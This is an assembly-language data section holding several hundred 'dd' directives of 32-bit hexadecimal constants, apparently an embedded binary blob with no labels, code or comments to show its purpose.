dd 50601087h, 34730E3Eh, 3D20F100h, 3586C263h, 0F77E0AB4h
dd 80E4E7D3h, 9EC4B331h, 41F33E5h, 0EF8116D8h, 923E6FE0h
dd 290044DAh, 5940E5F7h, 9218B8h, 6B2EBDF4h, 0F8852B1Ah
dd 1B67DB2Eh, 8C3A1200h, 2D9DEF5h, 7D575094h, 0A560E7CCh
dd 0DF2EC5AAh, 9D443C31h, 0E7E218A2h, 0ABAD30h, 0F4B5150h
dd 0D262BA54h, 0A9D1EE67h, 6AF3E000h, 0C47A3EB6h, 51D41381h
dd 0DF636D73h, 7BA84958h, 83F79904h, 4888E412h, 0DAD30060h
dd 412BC874h, 0D0352E1h, 0D4C454AFh, 328AF835h, 0AA7D0053h
dd 8FBA7B6Dh, 6512B2E8h, 0C60410Bh, 23F79BA2h, 5411BD44h
dd 9BBA8200h, 74675109h, 2A867B02h, 8492A1B3h, 0F960EC88h
dd 32231BB8h, 0ED1115h, 39B942CBh, 161357DEh, 0CAB8FFh
dd 0DFBF7CCCh, 0ED601CD9h, 1E29C1F1h, 310700F7h, 5D91B280h
dd 3A185B0Dh, 7999C964h, 35160E5Ah, 0F180AFFAh, 0CBC28448h
dd 0F7E8D400h, 13ABF5E9h, 84654896h, 0E8C55BCh, 318F78EEh
dd 0EDFA1BE1h, 9E4627Ch, 465907DFh, 0C448A5DCh, 0A5B360B0h
dd 46FD4A4Ah, 21B25A68h, 80F918C8h, 2E9499DCh, 185CD850h
dd 0C01688D8h, 69AEFEEBh, 158EE843h, 46B9FEA0h, 9E06AA35h
dd 68C90A44h, 20B7961h, 5BA1D77Bh, 0E884C1FAh, 0D80164E9h
dd 9FFD3214h, 88ECE84Ch, 0B9002BB4h, 78F08CDh, 3F63250Eh
dd 4160E4D5h, 49527E78h, 0ED8FEC02h, 9DC0DD2Bh, 81A21198h
dd 0AB75E6B5h, 8ABEA870h, 2DCA4CC1h, 65BD0F70h, 3BFD2041h
dd 0F0404D61h, 13774A0h, 0F92812BFh, 80D5D21Ah, 211EC4F9h
dd 3F6C154h, 0DC93F45Ch, 0D907FEE1h, 0F2713941h, 496FACC0h
dd 0A77073Bh, 90F38EDFh, 0F697555Eh, 0F6F070B7h, 1C5609EEh
dd 7C656521h, 0C0645AC4h, 1F4A58BFh, 0BC4838E9h, 0DB008CEDh
dd 7CE2EACCh, 0B82B0522h, 2254684h, 44EB9BAEh, 1057319Dh
dd 1B9BA686h, 798BC984h, 0E4DC99E0h, 0B84496h, 0A44F1327h
dd 6D52BAh, 3611F47Fh, 5CDF3554h, 0A05C9D56h, 7E471DDh
dd 9D72A383h, 0BE75B3EBh, 3CD0815Ch, 60673B64h, 42E21A9h
dd 539600E6h, 0BD604ED7h, 0B801E32Ch, 361BE20Fh, 8020F194h
dd 5E6C96B3h, 217E446h, 0B0D41D87h, 655E8A9h, 6730ECB2h
dd 648289C6h, 0A760042Ch, 90B3C9A3h, 0B9F76340h, 3F38880Ch
dd 8C0D804Eh, 0ADFEF604h, 0B962F069h, 0FEEE1C20h, 17A4027Eh
dd 6452226Dh, 9900AC52h, 0A8A366F3h, 1AB258F8h, 0BCE37640h
dd 0D4C15890h, 0B7E69000h, 0F9932BB5h, 0A1CA0096h, 5CE9AD6Dh
dd 0DF25A8EBh, 1190176Bh, 0FB818057h, 2D0B27Dh, 6C71A11Bh
dd 94C01030h, 6F3CE653h, 0C2B0064h, 0D374F74Bh, 0A10D0126h
dd 0D2197673h, 61E19DD4h, 0BADF2C40h, 0C026F11h, 0FFEA54DDh
dd 300080C1h, 0E2D48F8h, 0C227AFh, 0D63FC1AAh, 0A4940D72h
dd 0F4815005h, 18909A99h, 4937FAFh, 0BAAB1DC2h, 0D94C0AAh
dd 44F0D18Ah, 0D5B7A70Fh, 0B0C9C412h, 11CAF201h, 7B61F588h
dd 24ADC7C0h, 809E3A3Bh, 69776E80h, 67A02C8Bh, 95805354h
dd 7E552000h, 0FB653D7Dh, 0F6B90705h, 0E01F71A6h, 0C9A262BEh
dd 6D61A560h, 7A7634h, 389AAC54h, 0D92EEA10h, 7000CBE4h
dd 0CE82BE71h, 270C95E6h, 98216CE8h, 70A25CDCh, 7C0C9838h
dd 81C46499h, 0DD1A00F7h, 4A7EAC25h, 5003A08Fh, 4B3C1253h
dd 31498DCh, 0CB673052h, 0D3BB9B31h, 99FA4F00h, 8A61C95Eh
dd 7BDE14A9h, 901A0AAh, 195D719Ah, 526FD013h, 0D1D3CF00h
dd 1EC6385Ch, 59FE14CDh, 461D814Bh, 0BB8A00DFh, 85E815A2h
dd 3A43C600h, 364294ECh, 553F0788h, 317F5096h, 30DC9122h
dd 6730E388h, 0CF1491C5h, 6A8A005Eh, 48BFF7B1h, 0CC245124h
dd 0F0024ADh, 1258FCFEh, 26B87210h, 47202FA5h, 7C56C1A1h
dd 1B880B0h, 11039992h, 18E099D3h, 0E9A7A866h, 0C3E88A0h
dd 0AD162202h, 29BC7EE7h, 0FE78A4C4h, 0B962C700h, 0BB958F31h
dd 2438C1A7h, 40FB18B0h
dd 974ABE8Ch, 8DCDE707h, 49F3464Dh, 0B95CE0A0h, 4EF400DCh
dd 4FB03962h, 0E32450C9h, 35439464h, 0C3AF8802h, 24EB03DEh
dd 0F0DC3DB9h, 8C1E27E0h, 0E9DF602h, 0E475C942h, 0A804EC70h
dd 702CF4h, 849D582h, 3CF7C838h, 0D0141A14h, 90ED27E5h
dd 1476DF20h, 704C64C2h, 0CED2FE00h, 0F791B528h, 0E60C5600h
dd 921A76F8h, 9BFA0001h, 0A30A7F3Bh, 0CA0E23DDh, 80D52CACh
dd 686AA50h, 90A87B74h, 0D7B00014h, 0A739737h, 0CC92FBECh
dd 4CB52107h, 4530ACBDh, 50F918Eh, 0AB0BB071h, 0F9368031h
dd 39006197h, 8BF1D9E2h, 4061BA4h, 38A532F5h, 96C8727h
dd 0B9564000h, 1100F865h, 75603F3Ch, 30711035h, 0D180AC84h
dd 0E00ECF9h, 9B92027Fh, 434FD5h, 9D992FD0h, 3ADC7671h
dd 0EB3D7416h, 0E12AA0D0h, 0C4080A9Ah, 8094FBC9h, 493EE445h
dd 3C12AF18h, 0D201327Bh, 76C8630Ah, 0E716BC29h, 0C474D77Ch
dd 7230B477h, 609DBD26h, 43616200h, 900CA25Bh, 12FE658h
dd 4611F9C4h, 80ACC922h, 6D206571h, 0F16E87h, 43977007h
dd 5B3404A5h, 341C0C24h, 50257726h, 0DFB809C8h, 9C00BF7Dh
dd 677265EBh, 0B96894h, 0D61A80BAh, 3541C7Ch, 9789097Eh
dd 8C942852h, 253F37ACh, 2224802Ah, 0F57BA33Eh, 3CCC00EBh
dd 686DE9C5h, 4000FC66h, 5741FDBAh, 0B0F02404h, 9AC30081h
dd 0EAB21722h, 0B8018603h, 0C45BD727h, 289E4A62h, 78F8C049h
dd 7CF5B906h, 64067BF4h, 8CF44D4h, 9C570020h, 763280A4h
dd 216162C6h, 341B8239h, 0DC85CCh, 5D2F3B17h, 0BAFF9295h
dd 0B6DF8303h, 4EFC5Fh, 0A32BAB91h, 0BDF0E3B4h, 731DF500h
dd 0EF29656Ah, 5069C009h, 4EE9EB7Dh, 0FC8B200h, 0EF66BABBh
dd 0DA21CF0Ch, 3F50A6A1h, 8526CC01h, 92F5520Fh, 0EAB1651Bh
dd 5141400h, 304E813h, 0D63C6A7h, 89004D5Dh, 2289BDE9h
dd 0C65011Ch, 0BEAA875h, 8D00E439h, 0FD27F3E0h, 6070E82h
dd 8E2884BBh, 40A2017h, 8054C80Bh, 0B89F3DBEh, 0A43B0044h
dd 0B8934E6Ch, 0DAFA24EBh, 853F01ECh, 0F3B5E42Dh, 9D2C1B98h
dd 5481F900h, 0EACAB26Ch, 44480C40h, 668107D6h, 0EF742EFAh
dd 0F65BA51Eh, 0EAE96883h, 8F210778h, 1C3D64h, 109344BCh
dd 4BFC9F01h, 0F0514DCFh, 3FEC3EE4h, 0C89D98D5h, 4A0A8C09h
dd 3800B9B8h, 9CB3A32Eh, 78C6970h, 0ECE846C9h, 0E64459Dh
dd 11ECF8B8h, 2800D131h, 0C1790640h, 93D09Eh, 44385FFFh
dd 0A9542D63h, 0C6EC5AEAh, 0B0E8D731h, 0BBCD4632h, 8802D5F0h
dd 0D7EC630Fh, 0EA0BD11Dh, 0D09AE53Ah, 97661000h, 0DE3D210h
dd 4647AB25h, 2A50BE88h, 44017C07h, 1E54367Fh, 96F0772Fh
dd 0F56F0059h, 38B617F4h, 1B0FC929h, 237E9F08h, 0C7CE035Ch
dd 612CBD70h, 54D8A84Fh, 60980220h, 0BAA38A0Fh, 0B323E08Fh
dd 690106EAh, 0D23F65F6h, 0B020B575h, 0CB0A24DBh, 91284194h
dd 5042221h, 0DED3FDDh, 6061984Fh, 0BB54A91Ah, 0C6FC0F92h
dd 0CE21A803h, 406D01DDh, 1B06E1F8h, 0B713C90Fh, 9F4440A4h
dd 28CD1934h, 52B97520h, 4D003086h, 62124F8Ah, 890ECBA0h
dd 0EDBB23F4h, 0E8FB9149h, 88F28h, 0EAFEB163h, 8ED1B267h
dd 7FA40D03h, 428B2Fh, 8462DDC8h, 96103AD2h, 90C254E4h
dd 98A541F8h, 0C05E90h, 0A1584036h, 0AEF06FAh, 0DED98CA8h
dd 9965AC00h, 9B3D97BAh, 5FF90372h, 5661BBBDh, 57094173h
dd 83A95075h, 0B895662Eh, 3FECFFDDh, 0C049FDB5h, 5B4C0800h
dd 735E6D22h, 0BD518300h, 0FFEBCCBCh, 11A409CAh, 0A5800F4Eh
dd 34B3E6D2h, 0B04FA637h, 668258D2h, 0D0DB2640h, 239E3B3Fh
dd 428A402Ch, 5B3AF047h, 5AC4600Eh, 1844630Bh, 8885BCC3h
dd 5E335400h, 224B6236h, 5A2574EFh, 0A8F7C120h, 1EBF8CF0h
dd 409418CBh, 639F9275h, 0C1CBD60Bh, 46180049h, 1FBC7283h
dd 15277A5h, 38D75E79h, 0CB708058h, 0DD10C8B5h, 571E005Dh
dd 0FD1BD8AFh, 48119EDh, 10A14DCh, 6B332450h, 33CBF4A1h
dd 21A30060h, 69A69332h, 659E2C02h, 7CB50330h, 890048FCh
dd 7E9103FDh, 1DE1DF1Bh, 86852B4Bh, 0A91DD00Bh, 1A8C2818h
dd 0A462BA71h, 347CF4h, 42E6EE81h, 83283BD8h, 0FD29DC63h
dd 4B610256h, 735B45BFh, 20619861h, 64890BECh, 8848C3D5h
dd 358C0072h, 9CFD05EBh, 3B06D266h, 0B33C263Dh, 96544528h
dd 2C082748h, 3F8A8201h, 0F88112C8h, 0BB882804h, 676F0119h
dd 0CA0AFE61h, 69403450h, 73EF317Ah, 0DF23FA29h, 310501C8h
dd 9000457Bh, 2EC16CD9h, 1FCAEE5Bh, 80D2AF82h, 52371421h
dd 0E54DD7CCh, 65120678h, 61B9FCh, 0A5318723h, 61DA9A2Bh
dd 820229F8h, 0C7AB3A64h, 0D85C93BEh, 24CCB4C5h, 3BB027CAh
dd 0E2250A80h, 2DA12A85h, 40F3Ch, 1C729CC6h, 520B4A24h
dd 6D0DC0D5h, 0F8E99F0Dh, 0C948CCB2h, 4A406018h, 0A22CF1Bh
dd 8228FCAFh, 0B2D44088h, 0A500685Fh, 6769A717h, 1471A9Ch
dd 8D0ACAB4h, 0E895D962h, 1F05B0CDh, 1EC10B76h, 4783BC20h
dd 642012B8h, 8FC420FCh, 6607945Dh, 1738A27Eh, 869EAD41h
dd 0B4AE0CCh, 65DFC8CDh, 25BEE018h, 0E2AFDA00h, 0A7E3E831h
dd 938900BFh, 7A2305DCh, 0BB0A3590h, 0E8AC1FA4h, 75EF3404h
dd 8CA91C40h, 0AA00DBF3h, 0DAB30387h, 5C282010h, 9C2E40A5h
dd 77C40A4Ch, 0DF30F86h, 4B661080h, 0C0C7EEDCh, 8B622348h
dd 665Fh, 1566545Bh, 2F64363Fh, 7CE28600h, 3CE410F0h, 6C040328h
dd 85EF1B29h, 8CA73FB8h, 0E8C9A307h, 4B0F9994h, 0D7EC1984h
dd 9EF0D409h, 2E05181Eh, 27D2E38Eh, 4B7E7AC3h, 36F800CFh
dd 282811C6h, 2220158Bh, 3A7C52C9h, 0A04644Ch, 0A04CFD3Bh
dd 6011288Fh, 978C5317h, 0ACA437h, 2ED3D189h, 0C301E1E5h
dd 6D699B04h, 2C92400Fh, 0AC1C44CEh, 0EAC40990h, 8C803CCCh
dd 442C66ECh, 1BC66F1h, 99E10D09h, 0C448EA70h, 0DE0E0053h
dd 0F1EBD7C3h, 6B78E6CCh, 0AAE77805h, 0BCD27475h, 7094603Fh
dd 98E8B0EEh, 0C181C432h, 8EAA80C6h, 5D05D2E0h, 0C768886Fh
dd 441202C0h, 1418B1D4h, 52808CEDh, 0B90E88F6h, 0DB72A308h
dd 0CC8139CEh, 89BB1D3h, 0E5A830BBh, 0C7C4CA58h, 8759ADCDh
dd 12C0CEA1h, 0E4B01AF2h, 442A0B8Bh, 989803CBh, 6505D1A6h
dd 33CC3297h, 0B6158803h, 0AD89D995h, 202057FDh, 0C36B244Ah
dd 0E1000A0h, 0F2E35A32h, 0ECCBA724h, 0E01D0411h, 0C058E60Ah
dd 0B6E5C947h, 0B5DD8CA8h, 2641CA0Dh, 5801382Dh, 475910Fh
dd 0DCD71DE0h, 719D4A56h, 21104688h, 0E4F5A751h, 8401A0AEh
dd 48DCEF81h, 18245FF7h, 1225280Bh, 0EE6F18C0h, 0A64770EBh
dd 0C0B42658h, 58FE8377h, 2927908h, 2D6F07B4h, 9CE0E4A4h
dd 9C985A11h, 280AC242h, 81C81390h, 0CCCD5367h, 0DB2020E3h
dd 0CA5344FCh, 5A9714A8h, 33390E98h, 9F55808Bh, 98CFF893h
dd 0B2340474h, 0C2DA6518h, 0C083DC78h, 42CF936Ah, 0FC403A0Dh
dd 7444EA5Ah, 52C101FBh, 503D9102h, 51C8DF7Fh, 69004865h
dd 4D84A263h, 48D0A3D3h, 5C76ACA9h, 0B961870Ah, 500FEB6Dh
dd 8A3C739Ch, 10253A1Eh, 0C095EF00h, 0F87FD1EAh, 0BA1E320Fh
dd 42976C8h, 28404274h, 0F14345ABh, 0A38B3Fh, 4F835C37h
dd 38C88EF2h, 11B0EAF9h, 6A760439h, 38ABAC03h, 80FC6270h
dd 983C14F3h, 0C95144E0h, 34A4370Ah, 4C0F8191h, 0CF6BF4h
dd 0E9D1DD28h, 24637C77h, 98C886Ah, 0F8845CEAh, 4BC94F50h
dd 44F0807Eh
dd 364785h, 0D4D1B969h, 0DA6476CCh, 4834D702h, 0E054F0C9h
dd 84395Ch, 6872ECFCh, 8963A06Ch, 2219581Eh, 98B90B9Bh
dd 394BB79Ah, 880E6D33h, 16403789h, 0BDD532A4h, 0E580ECB1h
dd 0C11A6E5Ah, 0F91060EAh, 0FF2A9FD0h, 7F031200h, 0FE3EF389h
dd 90ED4CD9h, 0B0061980h, 0F505F065h, 109639DBh, 0A00530C2h
dd 0E0C9C4D0h, 4DFC283Bh, 0DFAD0034h, 0B536333Eh, 80CDE60h
dd 0C8B15E88h, 2F9F897h, 8B61E3A1h, 5081920Dh, 0EDFB69D3h
dd 34442086h, 96284C09h, 130848Fh, 0CA518B41h, 0A918C811h
dd 2D007D4Ch, 97D7458h, 4490EADEh, 0BA7F05CEh, 4B90B01Eh
dd 7EBB89h, 0C8C2C534h, 0C2BE7440h, 0B2BABD6Ch, 6827B8CCh
dd 514C10D0h, 907C64h, 0D57FA56Fh, 5FB06AF9h, 2D0DB48h
dd 2F730EF7h, 69DC40A9h, 63291E7Fh, 96A7C078h, 8912860h
dd 0BAFD94A8h, 83E3E9C0h, 0DB5BD7h, 0E4B7EA9Ah, 0A39016F2h
dd 6754FB02h, 0E48D289Fh, 1E4090E0h, 27930FD9h, 98606432h
dd 0CA02BF95h, 0CA0EFE8h, 38662Bh, 31795B05h, 38BD2E4Fh
dd 0D27A2204h, 5484D92Ah, 885B8881h, 0B9CF0BC8h, 0E49680B4h
dd 0C570E61Ch, 0ADD98A0h, 210CB50h, 64FC1628h, 79D91A03h
dd 0F1C72DD0h, 8C70DE03h, 395B34h, 0BC3F09BCh, 0B0B18C4h
dd 18BEA140h, 0BACE48h, 22ED604Dh, 97C4D3C7h, 0E12CA4Ch
dd 2382DB78h, 2362BFh, 8EAC1579h, 7E333A08h, 0D53F1600h
dd 0A2BDF812h, 18130494h, 8CE14186h, 9200E400h, 1C566FC3h
dd 0DA5EF2h, 60FFEBEDh, 0FEF1161h, 0AB1529C0h, 0E4D9B699h
dd 652100FBh, 41CE1675h, 0CC09ACB0h, 0AEC8BAC6h, 4C001270h
dd 84D7D651h, 1BDD002Fh, 0E2C99A76h, 0ABE661AAh, 6237C47Fh
dd 36D0B950h, 90CE1487h, 34A881B5h, 0A1400030h, 1D104AE8h
dd 5B02B667h, 0E19568A8h, 3C7C8061h, 8F395Ch, 0F0109E8Dh
dd 83281E09h, 0F18EB700h, 79E19A44h, 488FF488h, 0F8C31821h
dd 16A50BBAh, 1F780844h, 64562997h, 14315C13h, 0C0141A89h
dd 30840C44h, 94846198h, 9E00F5F2h, 0BE068D5Ah, 5D74674h
dd 42F42004h, 0B3483CCh, 4423D14Fh, 0FF9EC06Dh, 0CB1135Dh
dd 1538888Dh, 86ACA800h, 4272F0A1h, 1C890177h, 9DCED2EBh
dd 0B2B9E8DEh, 0A85ED406h, 514BFCh, 0E7647B43h, 12EDF09Dh
dd 1187B1C0h, 35A3FC0h, 2E925F76h, 30004B62h, 2AA107F1h
dd 51C5C7h, 0DFB85CF5h, 0B5CFFEB0h, 80F1273Ah, 0B19D113Bh
dd 78DA26B4h, 2A7CCBh, 0E386746Ch, 87E5030Fh, 2FA75500h
dd 0C98D23EBh, 0D5BA00C5h, 0E9069D29h, 0BFF09FBBh, 7953C003h
dd 0A06643F3h, 1CF79BFBh, 80CB6B7Bh, 1C70ACF8h, 3218B664h
dd 0D169CEDAh, 4EE00DCh, 5FE15BF4h, 8300C056h, 2878C7F5h
dd 9F64C1h, 6CA03F75h, 5706C87Bh, 0E2886000h, 77D937BAh
dd 790E009Dh, 0D0AB59ECh, 1318B076h, 6461C56Eh, 1C0206BCh
dd 0F111D910h, 6D3B9B7Ah, 5F320009h, 37DA66E1h, 741018D4h
dd 4B9139D5h, 84FE08C6h, 76EC00B6h, 2F44B24Ch, 6100CDE7h
dd 7D468347h, 0C0F30382h, 0E95A2A58h, 85038D19h, 0AB9D5998h
dd 0FCCFF07Eh, 21E20CBFh, 0F261CADAh, 923C187Fh, 688B80EFh
dd 87511119h, 14E71FD1h, 31E14033h, 1BDCF76h, 3111F240h
dd 9641C768h, 0CA1814Ah, 1D584B29h, 3B1567ECh, 0F7007150h
dd 0FFB36CD7h, 0A30BD2A9h, 80D0A058h, 857232F0h, 0EEBC06DBh
dd 493F71FCh, 691AD330h, 72835439h, 0BB1C0068h, 0E584F549h
dd 2901B848h, 0FCCED024h, 39923C72h, 0B0200383h, 410016D2h
dd 0E9653A73h, 0EEA1Ah, 59E55036h, 989F303Fh, 59D1714h
dd 635D00CCh, 7236AB74h, 55540089h, 0FE9F1F4Eh, 7A15E5C2h
dd 0ACEE02h, 0BA0CB705h, 0E37099h, 53A341D2h, 82FCD41Ch
dd 0F1DADB11h, 5A84B105h, 0F95C054h, 0D0A19132h, 77EE11EFh
dd 0E8A26260h, 693D0273h, 6F117132h, 0A6001844h, 1F281226h
dd 1512F7Fh, 21698AA8h, 499E3219h, 3C9C02F4h, 0B1613020h
dd 0EE1705A0h, 1C8E1540h, 7382C188h, 0D456367Ch, 61C0F3DAh
dd 0B43DE05h, 0EA47DD2h, 51DB6B55h, 512E9126h, 57099B00h
dd 198ABFAAh, 25780005h, 0CA83247Ch, 208A7FCh, 8FFE7A11h
dd 0F72C5C19h, 370FF411h, 0A78DC3DAh, 3AF1CCFAh, 0DBEC0A78h
dd 16581432h, 9BC0F431h, 5E353433h, 0AF729000h, 5AD9C61Ch
dd 257000F8h, 0AA0CD373h, 0C4A43DE1h, 14048000h, 0AECF96E3h
dd 349C610h, 79FA21F0h, 2527DE12h, 8078D009h, 98CD6C39h
dd 6D590FA4h, 4E80D4CFh, 0E0FCB021h, 81703Ch, 0E9EAB83Dh
dd 0E066512h, 0AE4EF96Bh, 91E19C61h, 628C534Ch, 0D9333898h
dd 0C9168300h, 3FEFF544h, 31AB0058h, 0ED667DA5h, 3200A0CFh
dd 0D39BB542h, 0EC678072h, 5BD60097h, 2995BBABh, 640020C2h
dd 197607A6h, 24096C57h, 11B05BB2h, 20BC50C4h, 0D36000E9h
dd 1FFC042Dh, 80F27E52h, 10F5733Eh, 8034704Dh, 0D2855E4Bh
dd 7A8CA815h, 0ACE50060h, 5C20754Ah, 5200E055h, 8387EB6Ah
dd 8B9D1Bh, 443227AAh, 0CCCFEA79h, 0C035F700h, 0B86B8A71h
dd 0D2B31870h, 295F8918h, 428BBF2Eh, 9DB05318h, 5DBB07BEh
dd 88D4192Dh, 0D1579F80h, 4334517h, 9924495Eh, 9D8CC067h
dd 81E9D3B3h, 6C6D93A1h, 33F48B5Ah, 4DE40020h, 1D7DAD40h
dd 1491D401h, 0CF553C01h, 0BDE0E783h, 0A54907F3h, 60D486A1h
dd 72B0E850h, 8722EB04h, 0C4C0D13Bh, 15276E1h, 98436AB8h
dd 32967771h, 29DD00A8h, 0D8144DB7h, 0AD3F005Ch, 0E14EBDECh
dd 4251B315h, 2AC99FE6h, 17D41EC6h, 785D0089h, 0C72C1BC2h
dd 8B0014BDh, 0F6CE2262h, 28674E0Fh, 5C40CF1h, 5AB64935h
dd 0ECD40833h, 0A982FA10h, 2CC143A7h, 2B318038h, 9030564Dh
dd 79D2E8h, 0A89FF9D8h, 0C307F179h, 0B885AD22h, 0F08F6393h
dd 7479E72h, 1EFA6A44h, 0A3E6B0CFh, 930AA6F6h, 38761126h
dd 0A2AC0E0Fh, 44BCCF09h, 0FB023028h, 0D1CD3869h, 0ED318200h
dd 2359A917h, 25E70207h, 40C6A779h, 0E5CB6DC0h, 6C2A0524h
dd 24B7CF06h, 69B80549h, 81D31EF0h, 0F9A6FBBCh, 1844EECFh
dd 0F87B1118h, 0FA66A989h, 0CC9C1472h, 0B2C8C8Fh, 958635Ch
dd 790667C8h, 0DA48B57Fh, 87CD8084h, 43F48CBh, 729DCA39h
dd 4F44C1E3h, 801C623Ch, 23F62047h, 0CDAA011Bh, 36408B26h
dd 461AEC6Dh, 53AE0200h, 0A6313ACh, 9D330E2h, 767A7D39h
dd 3C008372h, 0A62AEF2Eh, 1EB3D423h, 80D69D49h, 2638A218h
dd 38B0080Ah, 706C6850h, 0BF9CDA14h, 64452EE4h, 0D92BB502h
dd 0EE6320F2h, 0FB0355E3h, 62959228h, 6065CADAh, 480C5014h
dd 0D90058E6h, 986CE0D3h, 0B648AA6Bh, 0C5E41400h, 2E31CF84h
dd 34518071h, 48C72CBh, 0DC13A6E6h, 0C84C8D3h, 0C2056001h
dd 1E6304C0h, 3F2755F0h, 2B803CD8h, 22CD08A2h, 0A32CCC62h
dd 0AA001CC6h, 9B7960A0h, 0BD24A824h, 0AD6A1C66h, 0D2B641D9h
dd 0C4447779h, 25004DC5h, 8C356C5Ah, 0A9750B4h, 2AB305Eh
dd 0F6D98CE4h, 906039B1h, 0B133A670h, 4DF0C0F2h, 0F9057E09h
dd 2270DE4Ch, 0B0AB031Eh, 253F28Ch, 0C52B2E2h, 0E61F4090h
dd 0A640DB88h, 0C4018E5h, 771035E8h, 0A0A81271h, 37497B75h
dd 8CA84008h, 18621158h, 0BA108BAEh, 0D4EC0016h, 0B060E972h
dd 68B07F3Ah, 948D6F2Eh, 0E519803Ch, 0CDA35332h, 80703ACEh
dd 387D1686h, 0BC048878h, 45FCD55Bh, 0F8813C88h, 94E900A0h
dd 838F71CAh, 4F00B0AAh
dd 1EE16131h, 0F0AD5C1h, 525EA8CFh, 70CB5C01h, 0EA8339Fh
dd 0C0C8AEE6h, 5BD3B17Eh, 0D9FD6703h, 8049970Ah, 0A210564Fh
dd 944B0400h, 0BD69CA67h, 7C75018Eh, 9071E259h, 0E3589D28h
dd 41FA02CCh, 524400C1h, 21EADBF0h, 797629A0h, 0D2DAD602h
dd 4473112Eh, 0B9CF2950h, 71293EC4h, 45F428ACh, 8ED96025h
dd 3FFFA901h, 0E79130FDh, 79D299Ch, 0A23152A6h, 4E4037Ch
dd 0D8CBB00h, 0B8BDF3D1h, 370100C9h, 20C8B243h, 0A286D1Fh
dd 0DB05CC5Dh, 0C39CE87Dh, 0FC43E401h, 0DF103B73h, 3316576Dh
dd 78460A3Eh, 61F302h, 0BA669BDAh, 9930A6FFh, 690010B9h
dd 3D807317h, 1501007Eh, 52F97954h, 0A4041E4Ch, 7277649Ah
dd 6F9644C0h, 32CCA024h, 19B20069h, 0ECC7A5C1h, 0F9DF1FD2h
dd 0B41B1000h, 1C457D0h, 197EAFF5h, 29D9C9ADh, 73BC00A4h
dd 658BE2D6h, 0DFB5003Eh, 174F207Dh, 0FA79A19Dh, 2497F806h
dd 7D93996h, 0F26DE930h, 88D934F5h, 9E3EA2F0h, 4DBA0073h
dd 321F0CC1h, 2008B1A5h, 0DC095080h, 0FF848AF9h, 9734CC5Dh
dd 22C82300h, 0DA6C9E9Bh, 145F033Eh, 0CCFD73C4h, 0B6A4ADC8h
dd 320E0971h, 860CB161h, 4B61C997h, 9F8840D9h, 3CA6151Ah
dd 65CDA900h, 0E48391E5h, 4EA112AFh, 0C0640AEBh, 7C3711D4h
dd 8F284275h, 9B38AC57h, 129F00C8h, 911563EFh, 4229C032h
dd 0C52637A1h, 7E072E4h, 0EE98D40Bh, 9F248480h, 7CE440CDh
dd 0D6200F73h, 2AC0148Eh, 892CA63h, 30CFE01Eh, 0E6048C6Bh
dd 0DBC29FCDh, 0A2ACE0E2h, 912818DBh, 820C7947h, 3C847400h
dd 0EDC7031Bh, 723800E7h, 2431BCA7h, 8A067DD8h, 0F6025C6Ch
dd 23500059h, 0DD1894B2h, 0F21E38C7h, 0D004F388h, 0ED404A91h
dd 6A819A2h, 8C90F000h, 8B23016h, 0C4020503h, 0ACC04291h
dd 0FC3700FCh, 97CB8363h, 5CBC98D5h, 1C102CBBh, 7F8400F1h
dd 2AB879B9h, 0A4190467h, 0C2E90646h, 6C59BC50h, 0A8F90E00h
dd 11D1C39h, 0A99166EEh, 47204CE3h, 1804EB84h, 0F4F856F7h
dd 4C82DF04h, 497CC023h, 265C1854h, 0D47718DCh, 0A4AFCF29h
dd 40024BBCh, 0D785E54h, 0C900EC87h, 0DA03AC86h, 7253CA81h
dd 0F83058A0h, 0F4670101h, 84C18E19h, 0BCA6ED10h, 0E0981CC4h
dd 38B1986h, 0C48F59F8h, 0AB006D5Fh, 712FF159h, 7BD7F4Fh
dd 344BE06Bh, 0CC5B02DEh, 8100A859h, 2B6159EDh, 90717773h
dd 0F89148A0h, 0C03F9F84h, 27958B3h, 33CC3E04h, 78B2327Fh
dd 671F093Bh, 97B280ADh, 9C011042h, 6AF3B0C1h, 0B04CF539h
dd 0A67600AAh, 0A568EFB1h, 9404DC1Ch, 0DAE64312h, 384FB4A4h
dd 108C67CFh, 0E1E91BD4h, 0A402CE7Bh, 2705D27h, 88C403h
dd 0C6575291h, 43A35410h, 9F324C03h, 90DE22C9h, 18A82C6Ah
dd 31F40288h, 0D102F9D5h, 0CAED74BEh, 0AC7471C0h, 586D6058h
dd 500CFFBh, 0D1BE514Fh, 2EC5C0h, 497674ECh, 0F971B155h
dd 65852F6h, 0B414245Dh, 1401E112h, 0FDD9D5F4h, 656CE310h
dd 0B0CD1F01h, 14ED6310h, 0F6D296h, 8306B98Ch, 4B1ED3ABh
dd 64CBB2CDh, 912E83A3h, 4299002Fh, 5D243B62h, 0A7E4098Ch
dd 0A0F8EB05h, 8CC06930h, 98E13FA9h, 0DA6511F0h, 9A007ECFh
dd 0AF979086h, 77D109Dh, 29ACA8FBh, 78FC2196h, 4861B33Dh
dd 33DBC2h, 81FB1611h, 273CD4C8h, 72598807h, 7AA2D3BDh
dd 1EECE15Ah, 9ACDCC50h, 0D5AD32B2h, 84203C50h, 5C0EBD9Ch
dd 805199B3h, 1AB8C74h, 47114589h, 41D2E209h, 0D3A5B724h
dd 1CC0C2E2h, 0E31233ADh, 8601ABDAh, 271CEC79h, 3FF420h
dd 0A5E93DB5h, 9F3092D9h, 8054ED4Ch, 0FCBAE8A3h, 396CA471h
dd 0BE1DABB9h, 55BB4070h, 0C50E7976h, 5C4AE209h, 9E818CAh
dd 0C8B53C46h, 0FCFB8E05h, 5A680944h, 0E0A7B425h, 4650B696h
dd 0CA29EEF4h, 9796D4A5h, 0FCA94861h, 982CE9D9h, 0BDB78901h
dd 0C0126ABEh, 0DF3D9261h, 0FCDA18D2h, 3ADE81h, 0D0F76E4Ch
dd 85BB38B8h, 8CBF8A03h, 13DB9h, 5DA148E9h, 75F13CADh
dd 0C7005F7Ch, 0AF4223D4h, 98513393h, 0F210207Ch, 0EA7F1900h
dd 87887C35h, 5076E5h, 0EBCEA0BCh, 0F5025A96h, 39F459C0h
dd 539EC4h, 0AA8F8221h, 9AFA8B5h, 1025DCB0h, 0BA349071h
dd 8FD891C5h, 6661AD8Eh, 1018D3D4h, 0C1D0F2h, 743EBED7h
dd 0CF4075AEh, 4827BB4Ah, 0F5F74760h, 9E89E4F0h, 30A160D0h
dd 1E28A93Ah, 31E5BC82h, 0A0F40C48h, 0C024124h, 0D656D105h
dd 15E4808Dh, 14F30049h, 0FDBC6AA9h, 64947211h, 90002665h
dd 23086D57h, 52500EB5h, 0CE075AA6h, 173245D0h, 0BA7430FCh
dd 0AA005820h, 78A8FFB7h, 4874A153h, 342278DEh, 9863302Ch
